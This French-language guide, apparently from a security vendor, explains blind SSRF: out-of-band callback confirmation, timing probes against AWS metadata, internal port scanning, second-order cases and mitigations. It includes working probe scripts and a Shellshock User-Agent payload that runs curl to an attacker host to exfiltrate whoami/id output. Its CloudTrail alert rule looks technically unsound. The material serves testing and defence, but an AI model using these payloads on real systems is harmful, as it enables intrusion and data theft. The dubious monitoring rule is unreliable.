Le serveur effectue une requête vers l'URL de l'attaquant sans retourner la réponse ; confirmé via des callbacks OOB ou des interactions DNS.
TL;DR
169.254.169.254 (RST rapide) vs 192.0.2.1 (timeout 30s) sans OOBLe SSRF à l'aveugle est une variante du Server-Side Request Forgery (CWE-918, OWASP A10:2021) où le serveur effectue une requête HTTP back-end vers une URL contrôlée par l'attaquant mais ne retourne pas la réponse dans la réponse HTTP. L'attaquant ne peut pas lire directement le contenu de la ressource interne — le canal de rétroaction est coupé.
Malgré l'absence de contenu reflété, le SSRF aveugle est exploitable. La confirmation provient d'une infrastructure hors-bande : un serveur de callback contrôlé par l'attaquant enregistre les résolutions DNS et les hits HTTP, prouvant que le serveur a atteint l'URL injectée. Une fois confirmé, la vulnérabilité permet le scan de ports internes via des différentiels de timing, le pivotement vers une RCE via des services internes vulnérables, et l'exfiltration de données second-order en encodant les réponses dans des sous-domaines DNS OOB.
Le SSRF aveugle est plus répandu que le SSRF basique dans les applications de production car les développeurs suppriment souvent les messages d'erreur et les corps de réponse bruts comme mesure de sécurité. Cela rend le fetch back-end invisible lors d'une utilisation normale — mais le serveur émet toujours des requêtes sortantes.
Le serveur traite une entrée URL fournie par l'utilisateur et effectue une requête HTTP, mais le traitement de la réponse rejette le corps. Patterns courants : un job asynchrone de fond traite les rapports de livraison webhook, un système de notification déclenche des callbacks sans attendre les résultats, une plateforme analytique récupère les métadonnées de ressources externes pour la catégorisation.
Les niveaux de preuve du SSRF aveugle, du plus faible au plus fort :
| Preuve | Statut | Sévérité |
|---|---|---|
| Requête DNS reçue, pas d'HTTP | POTENTIAL | LOW |
| Divergence corps/timing >30 % | CONFIRMED | HIGH |
| GET/POST HTTP reçu | CONFIRMED | HIGH |
| Test de Welch p < 0,05 | CONFIRMED | HIGH |
| Données internes dans la réponse | CONFIRMED | HIGH |
| Données sensibles dans le corps OOB | CONFIRMED | CRITICAL |
DNS seul ne passe jamais à CONFIRMED. Les composants d'infrastructure (validateurs d'email, vérification TLS, contrôles pré-vol) résolvent régulièrement des hostnames sans effectuer de requêtes HTTP — DNS seul sans suivi HTTP est insuffisant pour un finding confirmé.
La technique de détection principale. Injecter une URL OOB unique par paramètre :
# Interactsh — générer une URL unique par paramètre
interactsh-client -server https://interactsh.com
# → URL générée : abc123xyz.oast.fun
# Injecter dans la requête
POST /api/notifications HTTP/1.1
Content-Type: application/json
{"webhook_url": "https://abc123xyz.oast.fun/param=webhook_url"}
# Sonder les interactions — le callback HTTP confirme le SSRF aveugle
curl https://interactsh.com/api/interactions/abc123xyz
# → {"protocol":"HTTP","remote-address":"52.14.x.x","raw-request":"GET /param=webhook_url HTTP/1.1\nHost: abc123xyz.oast.fun\n..."}Quand l'infrastructure OOB est indisponible ou bloquée par un pare-feu, comparer les temps de réponse pour deux cibles :
http://169.254.169.254/ — sur AWS EC2 : TCP RST rapide (connexion refusée, ~5ms)http://192.0.2.1/ — IP de documentation RFC 5737, garantie inaccessible, timeout SYN 30simport time
import requests
import statistics
def timing_ssrf_test(endpoint: str, param: str) -> bool:
"""Retourne True si le différentiel de timing suggère un SSRF vers 169.254.169.254."""
# Contrôle : IP inaccessible RFC 5737
control_times = []
for _ in range(5):
t0 = time.monotonic()
try:
requests.get(endpoint, params={param: "http://192.0.2.1/"}, timeout=35)
except Exception:
pass
control_times.append(time.monotonic() - t0)
# Payload : AWS IMDS
payload_times = []
for _ in range(5):
t0 = time.monotonic()
try:
requests.get(endpoint, params={param: "http://169.254.169.254/"}, timeout=35)
except Exception:
pass
payload_times.append(time.monotonic() - t0)
# Test de Welch
from scipy import stats
t_stat, p_value = stats.ttest_ind(payload_times, control_times, equal_var=False)
return p_value < 0.05 # différence significative = le serveur a tenté une connexionUn différentiel de timing statistiquement significatif signifie que le serveur a contacté 169.254.169.254 (qui répond rapidement sur EC2 — TCP RST) comparé à l'IP de documentation RFC inaccessible (qui expire). Cela confirme le SSRF sans aucun callback OOB.
Utiliser les différences de temps de réponse pour cartographier le réseau interne :
# Les ports ouverts répondent rapidement (accept TCP ou RST)
# Les ports fermés retournent "connection refused" rapidement
# Les ports filtrés s'expirent lentement (~30s)
# Cela révèle la topologie interne sans aucun contenu de réponse
open_ports = []
for port in [22, 80, 443, 3000, 6379, 8080, 9200, 9090, 2375, 2379]:
t0 = time.monotonic()
requests.get(target, params={"url": f"http://127.0.0.1:{port}/"}, timeout=5)
elapsed = time.monotonic() - t0
if elapsed < 2.0: # rapide = port existe (ouvert ou refusé)
open_ports.append(port)Le payload est stocké par l'application à l'endpoint A et exécuté de façon asynchrone par un worker de fond qui traite les URLs stockées. Le callback OOB arrive des minutes ou des heures après la soumission initiale.
La détection nécessite un modèle de corrélation multi-signaux :
# Étape 1 : Stocker le payload à /api/profile (endpoint de stockage)
POST /api/profile HTTP/1.1
{"avatar_url": "https://abc123.oast.fun/second-order"}
# Étape 2 : Déclencher le traitement à /api/process-avatars (endpoint de déclenchement)
POST /api/process-avatars HTTP/1.1
{}
# Le callback OOB arrive ~30s plus tard depuis l'IP du serveur applicatif
# Confirme le SSRF asynchrone second-orderCVE-2025-6454 — GitLab CE/EE (CVSS 8.5, CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) — La fonctionnalité d'en-têtes personnalisés de webhook (introduite dans GitLab 16.11) ne sanitisait pas les valeurs de nom d'en-tête contre les séquences CRLF. Un utilisateur Developer+ authentifié pouvait injecter des séquences \r\n dans les noms d'en-têtes personnalisés, insérant des en-têtes HTTP arbitraires dans les payloads webhook sortants. Dans les déploiements basés sur des proxies, ces en-têtes injectés altéraient le routage des requêtes internes — obtenant un SSRF aveugle vers des services internes et des endpoints de métadonnées. Affectait GitLab 16.11 à 18.3.1 ; corrigé dans 18.1.6, 18.2.6, 18.3.2 (juillet 2025).
HackerOne #1300585 — Elastic — SSRF aveugle utilisé comme pivot pour une RCE via une vulnérabilité secondaire dans un microservice interne. Le SSRF aveugle seul était insuffisant pour l'exfiltration de données, mais combiné à un service interne vulnérable, il est devenu une chaîne RCE. C'est l'exemple canonique de pourquoi les findings de SSRF aveugle ne doivent pas être rejetés comme à faible impact.
HackerOne #3176157 — PortSwigger Web Security (prime de 2 000 $) — SSRF aveugle DNS rebinding confirmé via l'outil send_http1_request. Le rapport démontre que même les organisations axées sur la sécurité peuvent avoir un SSRF aveugle dans leurs outils internes. Le finding a été confirmé via une interaction DNS d'abord, puis élevé au callback HTTP.
Chaîne Shellshock (CVE-2014-6271) — SSRF aveugle → RCE : si un serveur interne exécute un CGI basé sur Bash avec Shellshock, injecter via SSRF avec un User-Agent malveillant :
User-Agent: () { :;}; /bin/bash -c 'curl https://attacker.oast.fun/$(whoami)/$(hostname)'La commande s'exécute sur le serveur interne ; la sortie arrive à l'écouteur OOB, confirmant la RCE via exfiltration aveugle. PortSwigger dispose d'un lab actif pour cette chaîne.
https://<uid>.oastify.com/[nom-parametre].http://169.254.169.254/ vs http://192.0.2.1/ sur 5 échantillons.# Interactsh CLI — OOB auto-hébergé
interactsh-client -server https://interactsh.com -v
# Génère : xyz123.oast.fun
# Tester l'endpoint
curl -X POST https://target.com/api/webhook-test \
-H "Content-Type: application/json" \
-d '{"url": "https://xyz123.oast.fun/webhook-test"}'
# Sonder les interactions (ou observer la sortie CLI)BreachVex attribue un token de callback hors-bande unique par paramètre candidat SSRF (jusqu'à 10 par requête), lance les sondes concurremment, attend brièvement, puis sonde chaque token indépendamment. Ce modèle d'attribution par paramètre identifie précisément le paramètre exact qui a déclenché le callback — contrairement aux approches à token partagé qui rapportent « URL cible » de façon générique. Quand le canal hors-bande est inaccessible, les findings sont signalés comme non confirmés avec une note pour vérification manuelle.
La correction la plus fiable pour le SSRF aveugle est d'éliminer entièrement la requête sortante. Si la fonctionnalité n'a besoin que de métadonnées d'une URL (titre, favicon), exécuter cette logique dans un composant de prévisualisation côté client à la place.
import asyncio
import ipaddress
import socket
import urllib.parse
import httpx
ALLOWED_ORIGINS = frozenset({"https://api.partner.com", "https://hooks.slack.com"})
async def validated_async_fetch(url: str) -> bytes:
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("Schéma non autorisé")
origin = f"{parsed.scheme}://{parsed.hostname}"
if origin not in ALLOWED_ORIGINS:
raise ValueError(f"Host absent de la liste d'autorisation : {parsed.hostname}")
# Validation par résolution DNS
host = parsed.hostname.rstrip(".")
results = socket.getaddrinfo(host, None, proto=socket.IPPROTO_TCP)
for (_, _, _, _, sockaddr) in results:
ip = ipaddress.ip_address(sockaddr[0])
if isinstance(ip, ipaddress.IPv6Address) and ip.ipv4_mapped:
ip = ip.ipv4_mapped
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
raise ValueError(f"Résolution vers une IP privée : {ip}")
async with httpx.AsyncClient(follow_redirects=False, timeout=10.0) as client:
resp = await client.get(url)
# NE PAS journaliser ou retourner le corps de la réponse — le rejeter
return resp.status_code # retourner uniquement ce que l'appelant a besoinPour le SSRF aveugle, la surveillance de l'egress est critique car l'attaque est invisible dans les logs applicatifs :
# AWS CloudTrail + CloudWatch — alerte sur l'accès IMDS depuis EC2 applicatif
rule:
event_source: ec2.amazonaws.com
event_name: DescribeInstanceMetadata
source_ip_address: !starts_with "169.254.169.254" # source externe interrogeant IMDS
alert: "SSRF potentiel vers IMDS depuis une IP non-métadonnées"Le SSRF aveugle second-order n'est presque jamais détecté par les scanners automatisés. Le test canonique : injecter une URL OOB canari dans chaque champ de données susceptible d'être traité de façon asynchrone (URLs d'avatar, URLs de flux, URLs de webhook, liens d'import). Revenir 24 heures plus tard et vérifier votre écouteur OOB — les callbacks différés indiquent des jobs de traitement asynchrone consommant des URLs stockées.
Le SSRF à l'aveugle est une variante de CWE-918 où le serveur effectue une requête HTTP sortante vers une URL contrôlée par l'attaquant mais n'inclut pas la réponse dans la réponse HTTP. L'attaquant ne peut pas lire le contenu interne directement — la confirmation nécessite un serveur de callback hors-bande qui enregistre les résolutions DNS ou les hits HTTP.
Injecter l'URL payload Burp Collaborator (ex. https://uniqueid.oastify.com/) comme valeur de paramètre. Vérifier le panneau Collaborator pour les requêtes DNS (2 attendues depuis la chaîne de résolveur) et les callbacks HTTP. Un callback HTTP confirme que le serveur a effectué une requête sortante — c'est un SSRF aveugle exploitable.
Non. L'interaction DNS seule (sans callback HTTP) doit être classifiée comme POTENTIAL, pas CONFIRMED. De nombreux composants d'infrastructure — validateurs d'email, vérification de certificats TLS, contrôle pré-vol de connexion — résolvent des hostnames sans effectuer de requêtes HTTP. DNS seul ne prouve pas un SSRF exploitable.
Interactsh (ProjectDiscovery) est un serveur d'interaction OOB open-source. Il fournit des écouteurs DNS, HTTP, SMTP, LDAP et SMB. Contrairement à Burp Collaborator (Burp Suite Pro uniquement), Interactsh peut être auto-hébergé (interactsh-server), est gratuit, et s'intègre aux scanners automatisés. Les instances publiques sont disponibles sur oast.fun, oast.live, oast.site, oast.pro.
Le SSRF second-order survient quand l'URL de l'attaquant est stockée à un endpoint et que la requête HTTP est effectuée de façon asynchrone par un worker de fond déclenché à un endpoint différent. Le callback arrive des minutes ou des heures après l'injection initiale — la détection nécessite un modèle de polling différé avec attribution basée sur des tokens.
Comparer le temps de réponse d'un payload ciblant 169.254.169.254 (TCP RST rapide sur EC2) vs l'IP de documentation RFC 5737 192.0.2.1 (garantie inaccessible, timeout SYN 30s). Une différence statistiquement significative (test de Welch p < 0,05) confirme que le serveur a tenté une connexion — sans infrastructure OOB nécessaire.
CVE-2025-6454 (CVSS 8.5) — L'injection CRLF dans les en-têtes personnalisés de webhook GitLab CE/EE permettait d'injecter des en-têtes arbitraires dans les requêtes webhook sortantes, permettant un SSRF aveugle vers des services internes via le smuggling d'en-têtes dans les déploiements basés sur des proxies. Affectait GitLab 16.11 à 18.3.1, corrigé en juillet 2025.
Oui. La chaîne Shellshock (CVE-2014-6271) pivote le SSRF aveugle vers une RCE : injecter un SSRF pour atteindre un CGI basé sur Bash sur un serveur interne avec User-Agent: () { :;}; /bin/bash -c 'curl attacker.com/$(id)'. La sortie de la commande arrive à l'écouteur OOB de l'attaquant — RCE confirmée via exfiltration aveugle.